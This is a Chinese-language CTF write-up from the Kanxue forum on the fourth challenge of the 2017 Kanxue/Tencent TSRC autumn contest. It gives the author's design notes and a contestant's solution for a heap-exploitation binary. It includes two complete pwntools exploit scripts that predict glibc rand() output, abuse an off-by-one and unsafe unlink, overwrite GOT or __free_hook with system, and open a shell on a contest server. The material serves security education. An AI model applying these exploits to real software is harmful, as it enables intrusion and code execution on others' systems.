看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路

Editor發表於2017-11-02

看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路

happy Halloween‘s Day!大家萬聖節快樂!

第四題過後,看雪CTF賽程即將過半。

第四題的出題者BPG,以被29人攻破的成績,居於防守方第一名。

看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路

第四題過後,攻擊方的排名發生了較大的變化,競爭異常激烈。

看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路

風間仁重回第一名,黑馬iweizitime,後來者居上,由原來的第七名升至第二名,poyoten也由第八名升至第三名。

目前還剩5道題,究竟誰能笑到最後呢?讓我們拭目以待吧!

接下來讓我們一起來看看關於第四題的點評、出題思路和解析。

看雪評委netwind點評

作者精心構造了一個堆漏洞house_of_orange,為了保證解題思路的唯一性,作者進行了一些限制。為了避免攻擊者直接利用double_free漏洞,作者開啟了PIE保護,但可以通過隨機數預測得到棧地址,在退出的時候將system_addr寫到棧裡面,之後呼叫malloc觸發異常實現攻擊。可惜的是百密一疏,攻擊者找到了更簡單的方法攻破此題。

第四題作者簡介

mutepig,已退役web選手,今年剛開始真正學習pwn,目前仍是小菜雞一枚,希望能在看雪論壇中向大牛們多多學習交流。

第四題設計思路

0x01 隨機數預測

首先是要獲取堆的地址,由於開了PIE所以需要通過程式洩露出來,通過隨機數來獲得種子,從而得到`data段`地址。

程式在開始宣告瞭兩個變數`seed`和`name`,隨機數種子就是`seed`的地址,在猜測正確隨機數後就能將地址返回回來,那麼問題就是如何預測隨機數了。

具體需要了解[隨機數的原理](http://mutepig.club),這裡直接把結論丟出來:

rand[i] = (rand[i-3]+rand[i-31])&0x7fffffff

所以只要獲得了前31個隨機數,就能預測出來後面的隨機數,從而得到洩露的地址。

0x02 off by one

在留言的時候,由於多讀了一個字串,所以會導致`off by one`,從而溢位下一個`chunk`的`size`。

那麼我們可以構造類似這樣的`chunk`:

+==========+

0    |0xf8

+==========+

fake_chunk(size=0xe0)

+==========+

.......

+==========+

0xe0 | 0x100

+==========+

這樣實現之後,不僅我們控制了下一個`chunk`的`prev_size`,使得其指向的前一個`chunk`是我們偽造的,同時覆蓋了下一個`chunk`的`size`的最低位,使之認為上一個`chunk`是空閒的,所以會呼叫`unlink`。

0x03 EXP

#!/usr/bin/env python

# encoding: utf-8

from mypwn import *

bin_file = "./club"

remote_detail = ("123.206.22.95",8888)

libc_file = "./libc.so.6"

bp = [0x1100]

pie = True

p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)

def new(box,size=0):

p.recvuntil("> ")

p.sendline("1")

p.recvuntil("> ")

p.sendline(str(box))

p.recvuntil("> ")

p.sendline(str(size))

def free(box):

p.recvuntil("> ")

p.sendline("2")

p.recvuntil("> ")

p.sendline(str(box))

def msg(box,cont):

p.recvuntil("> ")

p.sendline("3")

p.recvuntil("> ")

p.sendline(str(box))

p.send(cont)

def show(box):

p.recvuntil("> ")

p.sendline("4")

p.recvuntil("> ")

p.sendline(str(box))

return p.recvuntil("\n").strip()

def guess_num(num):

p.recvuntil("> ")

p.sendline("5")

p.recvuntil("> ")

p.sendline(str(num))

ret = p.recvuntil("\n")

ok = "G00d" in ret

number = int(ret.split(" ")[-1].split("!")[0])

return ok,number

def guess():

randnum = []

for i in xrange(31):

ok,num = guess_num(0)

randnum.append(num)

while not ok:

guess = (randnum[len(randnum)-31]+randnum[len(randnum)-3])&0x7fffffff

ok,num = guess_num(guess)

randnum.append(num)

return num

def df_chunk(addr,size):

# addr is the heap_addr, that means *addr=(&fake_chunk)

fake_chunk = p64(0) + p64(size+1) + p64(addr - 0x18 ) + p64(addr - 0x10) + (size-0x20) * 'M'

fake_next_size = p64(size)

return fake_chunk + fake_next_size

if __name__ == "__main__":

#  guess number to get stack_addr

seed_addr = guess()

heap_addr = seed_addr - 0x48 + 0x10

base_addr = seed_addr - 0x148-0x202000

free_got = elf.got['free'] + base_addr

atoi_got = elf.got['atoi'] + base_addr

puts_got = elf.got['puts'] + base_addr

libc_free = libc.symbols['free']

libc_system = libc.symbols['system']

log.success("heap_addr:" + hex(heap_addr))

new(1, 0x18)

new(2, 0xe8)

new(3, 0xf8)

new(4,0x110)

#payload = p64(heap_addr-0x18) + p64(heap_addr-0x10) + (0xf0-0x20)*'M' + p64(0xf0) + '\x00'

msg(4,"/bin/sh\x00\n")

payload = df_chunk(heap_addr,0xe0) + "\x00"

msg(2,payload)

free(3)

msg(2,'1'*0x10 + p64(puts_got) + p64(free_got)+"\n")

free_addr = show(2)

free_addr = free_addr.strip().ljust(8,"\x00")

free_addr = u64(free_addr)

base_addr = free_addr - libc_free

system_addr = base_addr + libc_system

log.success("system_addr: %s"%(hex(system_addr)))

msg(1,p64(system_addr)+"\n")

p.recvuntil("> ")

p.sendline("4")

p.recvuntil("> ")

p.sendline("4")

#show(4)

p.interactive()

原文附檔案club.tar : bin + libc(點選左下角閱讀原文下載)

下面選取攻擊者iweizitime的破解分析

分析做法

首先,用pwntools檢查一下,pwn checksec club。

Arch:    amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:      NX enabled

PIE:      PIE enabled

結果如上,保護基本都開了,這意味著要洩露地址,不能使用shellcode,可以改got表。

分析get_box函式,發現它會對分配的記憶體大小進行限制,每個至少相差0x10位元組,所以不能用fastbin。

看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路

所以我們的思路就是想辦法洩露地址資訊,解決PIE。然後利用unsafe_unlink改寫__free_hook的值為system函式的地址,然後free一段包含/bin/sh的記憶體。

洩露程式載入地址

最先發現了猜隨機數的這個函式,這種型別的題目以前碰到過,如果你沒有猜對,程式會將正確的結果返回給你。

看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路

實際上在這種情況下libc裡面的rand函式是可以預測的。規律如下:

STATEi = STATEi-3 + STATEi-31, for i > 34

RANDi = STATEi >> 1

其中STATEi是int32_t型別。所以可以用:

RANDi = (RANDi-3 + RANDi-31) % (1<<31)

來預測,當然,可能猜不準,多猜幾次就是了。

seed其實被初始化為了它自己的地址,所以我們得到了seed的地址,也就得到了程式的載入地址。

洩露libc的載入地址

這個很容易,只要適當的free一個記憶體,它的fd和bk就指向了main_arena+88。下圖是alloc(1, 128), alloc(2, 144), alloc(3, 160), destroy(2)後的堆。

看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路

得到了main_arena的地址,也就可以算出libc的載入地址了。順便說一句,作者給的libc就是ubuntu 16.04上面的libc。

觸發unlink

給一個網址https://github.com/shellphish/how2heap/blob/master/unsafe_unlink.c 我覺得這個github repository講的很好,非常值得看。

網上的資料很多,主要說一下針對這個題的流程。

只有id為2,3的記憶體才能被釋放。先構造出一塊大的3記憶體,並保證它釋放的時候不會被合併到Top Chunk。

alloc(4, 528)

alloc(3, 512)

alloc(5, 544)

然後把記憶體3釋放掉,在堆中得到一個空洞。順便把main_arena的地址洩露出來。

destroy(3)

要注意到destroy_box函式除了free記憶體什麼也沒做,沒有將指標改為NULL,也沒有改變size和存在標誌。

看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路

也就是說,即使我們釋放了3記憶體,依然可以使用它。

接著分配兩個比較小的記憶體,但是也要比0x80大,不要落在fastbin裡面。

alloc(1, 0x80)

alloc(2, 0x90)

記憶體1和記憶體2的大小加起來也比記憶體3小,所以會在記憶體3釋放後留下的空洞中分配。注意一定要先分配記憶體1,再分配記憶體2,因為只有記憶體2能被free。現在的記憶體佈局如下。

------------------------------------------------------------------

|                |                        |                    |

------------------------------------------------------------------

|<-      4      ->|<-        3          ->|<-      5        ->|

|<- 1 ->|<- 2 ->|

因為我們還有記憶體3的指標,所以可以任意修改記憶體1和記憶體2的值,可以偽造malloc_chunk。

程式碼

到這裡差不多就可以寫程式碼了。

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

from pwn import *

import re

# Set up pwntools for the correct architecture

context.update(arch='amd64')

context.log_level = 'info'

exe = './club'

def alloc(box_type, size):

io.recvuntil('> ')

io.sendline('1')

io.recvuntil('> ')

io.sendline(str(box_type))

io.recvuntil('> ')

io.sendline(str(size))

l = io.recvline()

if l == 'You have got the box!\n':

return True

else:

return False

def destroy(box_type):

io.recvuntil('> ')

io.sendline('2')

io.recvuntil('> ')

io.sendline(str(box_type))

r = io.recvline()

if r == 'You have destroyed the box!\n':

return True

else:

return False

def leave_message(box_type, message):

io.recvuntil('> ')

io.sendline('3')

io.recvuntil('> ')

io.sendline(str(box_type))

io.sendline(message)

def show_message(box_type):

io.recvuntil('> ')

io.sendline('4')

io.recvuntil('> ')

io.sendline(str(box_type))

return io.recvline()

def guess_rand(rand_num):

io.recvuntil('> ')

io.sendline('5')

io.recvuntil('> ')

io.sendline(str(rand_num))

l = io.recvline()

wrong = re.match('Wr0ng answer!The number is (\d+)!', l)

good = re.match('G00dj0b!You get a secret: (\d+)!', l)

if wrong:

return int(wrong.group(1)), False

elif good:

return int(good.group(1)), True

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

continue

'''.format(**locals())

def start(argv=[], *a, **kw):

if args.REMOTE:

return remote('123.206.22.95', 8888)

if args.GDB:

return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)

else:

return process([exe] + argv, *a, **kw)

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

io = start()

libc = ELF('./libc.so.6')

# 猜隨機數,洩露程式地址

l = []

for i in range(64):

rn, good = guess_rand(3232)

l.append(rn)

while True:

end = len(l)

r = (l[end-3]+l[end-31]) % 2147483648

rn, good = guess_rand(r)

if good:

seed_addr = rn

box_addrs_addr = seed_addr - 0x48

log.info("seed address {}".format(str(hex(seed_addr))))

log.info("box_addrs address {}".format(str(hex(box_addrs_addr))))

break

l.append(rn)

alloc(4, 528)

alloc(3, 512)

alloc(5, 544)

destroy(3)

# 找到main_arena,洩露libc地址

main_area = u64(show_message(3)[:6]+'\x00\x00') - 88

libc_base = main_area - 0x3c4b20

log.info('libc address {}'.format(str(hex(libc_base))))

__free_hook_addr = libc.symbols['__free_hook'] + libc_base

system_addr = libc.symbols['system'] + libc_base

log.info("libc __free_hook {}".format(str(hex(__free_hook_addr))))

log.info("libc system {}".format(str(hex(system_addr))))

alloc(1, 0x80)

alloc(2, 0x90)

box1_addr_addr = box_addrs_addr + 8

# fake chunk

payload1 = 'A' * 8                          # fake chunk prev_size

payload1 += p64(8)                          # fake chunk size

payload1 += p64(box1_addr_addr - 8*3)      # fake chunk fd

payload1 += p64(box1_addr_addr - 8*2)      # fake chunk bk

payload1 += 'A' * (0x80-len(payload1))

payload1 += p64(0x80)                      # overwrite prev_size in next chunk

payload1 += p64(0xa0)                      # set PREV_INUSE to 0

leave_message(3, payload1)

# 觸發unlink

destroy(2)

# 將small box的地址改寫為__free_hook的地址

payload2 = '\x00' * 24

payload2 += p64(box_addrs_addr-0x10)

payload2 += p64(__free_hook_addr)

leave_message(1, payload2)

# 將__free_hook的值改寫為system的地址

leave_message(2, p64(system_addr))

# 寫入 '/bin/sh'

leave_message(3, '/bin/sh\x00')

# free normal box,也就是system('/bin/sh')

io.recvuntil('> ')

io.sendline('2')

io.recvuntil('> ')

io.sendline(str(3))

io.interactive()

溫馨提示

每道題結束過後都會看到很多盆友的精彩解題分析過程,因為公眾號內容的限制,每次題目過後我們將選出一篇與大家分享。解題方式多種多樣,各位參賽選手的腦洞也種類繁多,想要看到更多解題分析的小夥伴們可以前往看雪論壇【CrackMe】版塊檢視哦!

原文出自看雪論壇,轉載請註明來自看雪社群

相關文章